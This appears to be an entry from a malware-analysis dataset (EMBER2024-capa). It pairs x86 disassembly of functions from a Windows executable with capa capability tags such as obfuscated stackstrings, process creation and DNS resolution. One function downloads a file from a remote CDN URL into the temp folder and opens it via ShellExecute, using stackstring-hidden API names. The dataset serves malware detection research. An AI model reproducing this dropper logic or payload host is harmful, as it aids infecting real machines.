joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4028c0
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45cf6b
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x46e36c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xc4], 0
lea ecx, [ebp - 0xc0]
call fcn.00404820
mov dword [ebp - 4], 0
mov dword [ebp - 0xc8], 0x80
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0xc8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0xa8]
push edx
lea ecx, [ebp - 0xc0]
call fcn.00404790
mov byte [ebp - 0x28], 0x5f
mov byte [ebp - 0x27], 0x43
mov byte [ebp - 0x26], 0x4c
mov byte [ebp - 0x25], 0x5f
mov byte [ebp - 0x24], 0x63
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x62
mov byte [ebp - 0x20], 0x38
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x36
mov byte [ebp - 0x1d], 0x38
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x73
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x6d
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00404750
lea ecx, [ebp - 0xc0]
call fcn.00404500
push eax
call fcn.00408490
add esp, 4
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 1
jne 0x4029f2
lea ecx, [ebp - 0xc0]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00401570
mov edx, dword [ebp - 0xc4]
or edx, 1
mov dword [ebp - 0xc4], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc0]
call fcn.00401520
mov eax, dword [ebp + 8]
jmp 0x402a23
push 0x46b54f
mov ecx, dword [ebp + 8]
call fcn.004047b0
mov eax, dword [ebp - 0xc4]
or eax, 1
mov dword [ebp - 0xc4], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc0]
call fcn.00401520
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045b78a
mov esp, ebp
pop ebp
ret
Function at 0x402c60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45cfb8
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x46e36c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x50], 0
lea eax, [ebp - 0x4c]
push eax
call fcn.00402860
add esp, 4
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.00404820
mov byte [ebp - 4], 1
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x75
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x4e
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x68]
call fcn.004047b0
mov byte [ebp - 4], 2
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x68]
push ecx
call fcn.00402a40
add esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x68]
call fcn.00401520
lea edx, [ebp - 0x34]
push edx
mov ecx, dword [ebp + 8]
call fcn.00401570
mov eax, dword [ebp - 0x50]
or eax, 1
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.00401520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c]
call fcn.00401520
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045b78a
mov esp, ebp
pop ebp
ret
Function at 0x403da0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45d261
mov eax, dword fs:[0]
push eax
sub esp, 0x104
mov eax, dword [0x46e36c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xec], 0x80
lea eax, [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.https:__suda.cdn.bcebos.com_images_2023_12_1701415301342_1.doc
lea ecx, [ebp - 0xe8]
call fcn.004047b0
mov dword [ebp - 4], 0
lea edx, [ebp - 0xb8]
push edx
lea ecx, [ebp - 0xd0]
call fcn.004047b0
mov byte [ebp - 4], 1
push str._2023
lea ecx, [ebp - 0xd0]
call fcn.00404750
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x104], esp
lea eax, [ebp - 0xd0]
push eax
call fcn.00401660
mov dword [ebp - 0x108], eax
mov byte [ebp - 4], 2
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x10c], esp
lea edx, [ebp - 0xe8]
push edx
call fcn.00401660
mov byte [ebp - 4], 1
call fcn.004074e0
add esp, 0x30
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 1
jne 0x403fcf
mov eax, 0x73
mov word [ebp - 0x38], ax
mov ecx, 0x68
mov word [ebp - 0x36], cx
mov edx, 0x65
mov word [ebp - 0x34], dx
mov eax, 0x6c
mov word [ebp - 0x32], ax
mov ecx, 0x6c
mov word [ebp - 0x30], cx
mov edx, 0x33
mov word [ebp - 0x2e], dx
mov eax, 0x32
mov word [ebp - 0x2c], ax
mov ecx, 0x2e
mov word [ebp - 0x2a], cx
mov edx, 0x64
mov word [ebp - 0x28], dx
mov eax, 0x6c
mov word [ebp - 0x26], ax
mov ecx, 0x6c
mov word [ebp - 0x24], cx
xor edx, edx
mov word [ebp - 0x22], dx
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1f], 0x68
mov byte [ebp - 0x1e], 0x65
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x45
mov byte [ebp - 0x1a], 0x78
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x63
mov byte [ebp - 0x17], 0x75
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], 0x57
mov byte [ebp - 0x13], 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x110], eax
push 5
push 0
push 0
lea ecx, [ebp - 0xd0]
call fcn.00404500
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x20
ja 0x403f9c
mov dword [ebp - 0xf8], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xd0]
call fcn.00401520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe8]
call fcn.00401520
mov eax, dword [ebp - 0xf8]
jmp 0x404000
mov dword [ebp - 0xfc], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xd0]
call fcn.00401520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe8]
call fcn.00401520
mov eax, dword [ebp - 0xfc]
jmp 0x404000
mov dword [ebp - 0x100], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xd0]
call fcn.00401520
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe8]
call fcn.00401520
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045b78a
mov esp, ebp
pop ebp
ret
Function at 0x406c90
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x270
jne 0x406cae
mov ecx, dword [ebp - 8]
call fcn.00406d30
jmp 0x406cc1
mov ecx, dword [ebp - 8]
cmp dword [ecx], 0x4e0
jb 0x406cc1
mov ecx, dword [ebp - 8]
call fcn.00406dc0
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + eax*4 + 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
add ecx, 1
mov edx, dword [ebp - 8]
mov dword [edx], ecx
mov eax, dword [ebp - 4]
shr eax, 0xb
mov ecx, dword [ebp - 8]
and eax, dword [ecx + 0x1384]
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
shl edx, 7
and edx, 0x9d2c5680
xor edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
shl eax, 0xf
and eax, 0xefc60000
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shr ecx, 0x12
xor ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x406d30
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0x270
jmp 0x406d4b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x4e0
jge 0x406db7
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 - 0x9bc]
and eax, 0x80000000
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [edx + ecx*4 - 0x9b8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
and edx, 1
je 0x406d8f
mov dword [ebp - 0x10], 0x9908b0df
jmp 0x406d96
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4 - 0x388]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [edx + ecx*4 + 4], eax
jmp 0x406d42
mov esp, ebp
pop ebp
ret
Function at 0x406dc0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
jmp 0x406ddb
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xe3
jge 0x406e47
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [edx + ecx*4 + 0x9c8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
and edx, 1
je 0x406e1f
mov dword [ebp - 0x10], 0x9908b0df
jmp 0x406e26
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4 + 0xff8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [edx + ecx*4 + 4], eax
jmp 0x406dd2
jmp 0x406e52
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x26f
jge 0x406ebe
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [edx + ecx*4 + 0x9c8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
and edx, 1
je 0x406e96
mov dword [ebp - 0x18], 0x9908b0df
jmp 0x406e9d
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x14]
shr eax, 1
xor eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4 - 0x388]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [edx + ecx*4 + 4], eax
jmp 0x406e49
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + eax*4 + 0x9c4]
and edx, 0x80000000
mov eax, 4
imul ecx, eax, 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + ecx + 4]
and ecx, 0x7fffffff
or edx, ecx
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
and edx, 1
je 0x406efc
mov dword [ebp - 0x20], 0x9908b0df
jmp 0x406f03
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x1c]
shr eax, 1
xor eax, dword [ebp - 0x20]
mov ecx, 4
imul edx, ecx, 0x18c
mov ecx, dword [ebp - 8]
xor eax, dword [ecx + edx + 4]
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov dword [ecx + edx*4 + 4], eax
mov edx, dword [ebp - 8]
mov dword [edx], 0
mov esp, ebp
pop ebp
ret
Function at 0x407370
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0
push str.User_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_116.0.0.0_Safari_537.36
mov eax, dword [ebp - 8]
push eax
call fcn.00409840
add esp, 8
mov dword [ebp - 8], eax
push str.Accept:__
mov ecx, dword [ebp - 8]
push ecx
call fcn.00409840
add esp, 8
mov dword [ebp - 8], eax
push str.Accept_Language:_zh_CN_zh_q0.9
mov edx, dword [ebp - 8]
push edx
call fcn.00409840
add esp, 8
mov dword [ebp - 8], eax
push 3
call fcn.00409730
add esp, 4
call fcn.00409530
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40747c
push 0
push 0x40
mov eax, dword [ebp - 4]
push eax
call fcn.0040d1c0
add esp, 0xc
push 0
push 0x51
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040d1c0
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
push 0x2727
mov eax, dword [ebp - 4]
push eax
call fcn.0040d1c0
add esp, 0xc
lea ecx, [ebp + 8]
call fcn.00404500
push eax
push 0x2712
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040d1c0
add esp, 0xc
lea ecx, [ebp + 0x20]
call fcn.00404500
push eax
push 0x271f
mov edx, dword [ebp - 4]
push edx
call fcn.0040d1c0
add esp, 0xc
push 1
push 0x2f
mov eax, dword [ebp - 4]
push eax
call fcn.0040d1c0
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00409590
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40747c
mov dword [ebp - 0xc], 0
mov edx, dword [ebp - 4]
push edx
call fcn.00409510
add esp, 4
call fcn.004096e0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
lea ecx, [ebp + 8]
call fcn.00401520
lea ecx, [ebp + 0x20]
call fcn.00401520
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x4125a0
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push edi
mov edi, dword [esp + 8]
test edi, edi
je 0x41263f
push edi
call fcn.00424520
add esp, 4
test al, al
jne 0x41263f
push ebx
push ebp
push esi
mov esi, edi
xor ebx, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4125c8
sub esi, ecx
push esi
push 0x2e
push edi
call fcn.0042f930
add esp, 0xc
test eax, eax
je 0x4125fc
sub eax, edi
push eax
push 0x2e
push edi
call fcn.0042f930
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x4125fe
inc ebx
mov ecx, edi
sub ecx, ebx
add esi, ecx
test ebx, ebx
cmovne edi, ebx
xor ecx, ecx
xor ebp, ebp
mov ebx, 0x1505
lea eax, [edi + esi]
cmp edi, eax
cmova esi, ecx
test esi, esi
je 0x412637
mov al, byte [edi]
push eax
call fcn.00421250
movsx ecx, al
lea edi, [edi + 1]
mov eax, ebx
inc ebp
shl eax, 5
add esp, 4
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp ebp, esi
jb 0x412616
pop esi
pop ebp
movzx eax, bl
pop ebx
pop edi
ret
xor eax, eax
pop edi
ret
Function at 0x41d710
Capabilities:
Write file on windows

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp byte [edi + 0x6db], 0
je 0x41d7a2
cmp dword [edi + 0x1ac], 0
je 0x41d767
push edi
call fcn.0040d740
push 1
push edi
mov byte [esp + 0x14], al
call fcn.0040d9c0
push dword [edi + 0x15c]
mov eax, dword [edi + 0x1ac]
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
push edi
call eax
push dword [esp + 0x28]
push edi
call fcn.0040d9c0
add esp, 0x28
pop edi
ret
mov eax, dword [esp + 0xc]
cmp eax, 2
ja 0x41d7a2
push dword [edi + 0x158]
lea eax, [eax + eax*2]
push 1
add eax, 0x45fa7c
push 2
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push dword [edi + 0x158]
push 1
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x20
pop edi
ret
Function at 0x41f560
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push edi
push str.kernel32
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x41f57a
pop edi
pop ebx
pop ecx
ret
push ebp
push esi
push 0x45fc88
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov ebp, eax
push 0x45fc98
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strpbrk]
add esp, 8
test eax, eax
je 0x41f5c3
test ebp, ebp
je 0x41f5b4
push 8
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
test ebp, ebp
je 0x41f5e9
push str.AddDllDirectory
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41f5e9
push 0x800
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x41f69f
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f606
sub ecx, ebx
lea eax, [edx + 1]
add eax, ecx
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x41f695
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x41f695
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f638
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41f650
sub ecx, edx
sub ecx, esi
add ecx, ebx
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x41f660
test ebp, ebp
je 0x41f68c
push 8
push 0
push ebx
call ebp
push ebx
mov edi, eax
call dword [0x46e004]
add esp, 4
mov eax, edi
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x46e004]
add esp, 4
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
pop ecx
ret
Function at 0x4246d0
Capabilities:
Create udp socket

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x42470e
mov eax, dword [esi + 0x7c]
cmp byte [eax + 0x108], 0
jne 0x424702
push 0
call fcn.004246d0
add esp, 4
test al, al
mov eax, dword [esi + 0x7c]
setne cl
inc cl
mov byte [eax + 0x108], cl
mov eax, dword [esi + 0x7c]
cmp byte [eax + 0x108], 2
pop esi
sete al
ret
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x424723
xor al, al
pop esi
ret
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
pop esi
ret
Function at 0x430090
Capabilities:
Move file

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
call fcn.00412970
push dword [esp + 0x38]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x18], xmm0
call esi
push dword [esp + 0x40]
mov edi, eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 0xc
mov esi, eax
push 1
push esi
push edi
call ebp
test eax, eax
jne 0x430125
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax + eax]
lea eax, [esp + 0x20]
push eax
call fcn.00412970
movups xmm0, xmmword [esp + 0x14]
sub esp, 0xc
mov ecx, esp
sub esp, 0x10
movups xmmword [ecx], xmm0
mov ecx, esp
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
call fcn.00412a20
add esp, 0x20
test edx, edx
ja 0x430149
jb 0x430117
cmp eax, 0x3e8
ja 0x430149
push 1
call ebx
push 1
push esi
push edi
call ebp
test eax, eax
je 0x4300e0
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test edi, edi
je 0x430135
push edi
call ebx
add esp, 4
test esi, esi
je 0x43013f
push esi
call ebx
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test edi, edi
je 0x430159
push edi
call ebx
add esp, 4
test esi, esi
je 0x430163
push esi
call ebx
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x20
ret
Function at 0x430590
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x20]
push ebx
xor ebx, ebx
mov dword [esp + 0xc], ebx
mov dword [eax], ebx
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [esp + 4], eax
test eax, eax
jne 0x430721
push esi
mov esi, dword [esp + 0x14]
test esi, esi
je 0x43070c
push ebp
push edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4305ee
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4305e0
sub eax, edx
lea ecx, [eax + 1]
jmp 0x4305f0
xor ecx, ecx
mov eax, dword [esi + 4]
mov dword [esp + 0x14], ecx
cmp eax, 2
jne 0x430601
lea ebp, [eax + 0xe]
jmp 0x43060d
cmp eax, 0x17
jne 0x4306ae
lea ebp, [eax + 5]
cmp dword [esi + 0x18], 0
je 0x4306ae
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4306ae
cmp eax, ebp
jb 0x4306ae
lea eax, [ecx + 0x20]
add eax, ebp
push eax
call dword [section..data]
mov edi, eax
add esp, 4
test edi, edi
je 0x4306fd
mov ecx, dword [esi]
mov dword [edi], ecx
mov ecx, dword [esi + 4]
mov dword [edi + 4], ecx
mov ecx, dword [esi + 8]
mov dword [edi + 8], ecx
mov eax, dword [esi + 0xc]
mov dword [edi + 0xc], eax
lea eax, [edi + 0x20]
push ebp
mov dword [edi + 0x10], ebp
mov dword [edi + 0x14], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], eax
push dword [esi + 0x18]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x20]
add esp, 0xc
test ecx, ecx
je 0x43069a
mov eax, dword [edi + 0x18]
add eax, ebp
push ecx
mov dword [edi + 0x14], eax
push dword [esi + 0x14]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0x18]
test ebx, ebx
cmove ebx, edi
test eax, eax
je 0x4306aa
mov dword [eax + 0x1c], edi
mov dword [esp + 0x18], edi
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x4305d2
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0x1c]
pop edi
pop ebp
test eax, eax
je 0x4306ce
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test esi, esi
je 0x430708
test ebx, ebx
je 0x4306ed
mov esi, dword [ebx + 0x1c]
push ebx
call dword [0x46e004]
add esp, 4
mov ebx, esi
test esi, esi
jne 0x4306d6
mov esi, dword [esp + 8]
mov eax, dword [esp + 0x28]
xor ebx, ebx
mov dword [eax], ebx
mov eax, esi
pop esi
pop ebx
add esp, 0x10
ret
mov esi, 8
mov dword [esp + 0x10], esi
jmp 0x4306bd
test ebx, ebx
jne 0x430718
mov esi, 0x2af9
push esi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [esp + 0x28]
mov dword [eax], ebx
mov eax, esi
pop esi
pop ebx
add esp, 0x10
ret

Function at 0x430b20
Capabilities:
Create thread

Disassembly:
push 0
push 0
push dword [esp + 0x10]
push dword [esp + 0x10]
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
test eax, eax
je 0x430b42
cmp eax, 0xffffffff
jne 0x430b44
xor eax, eax
ret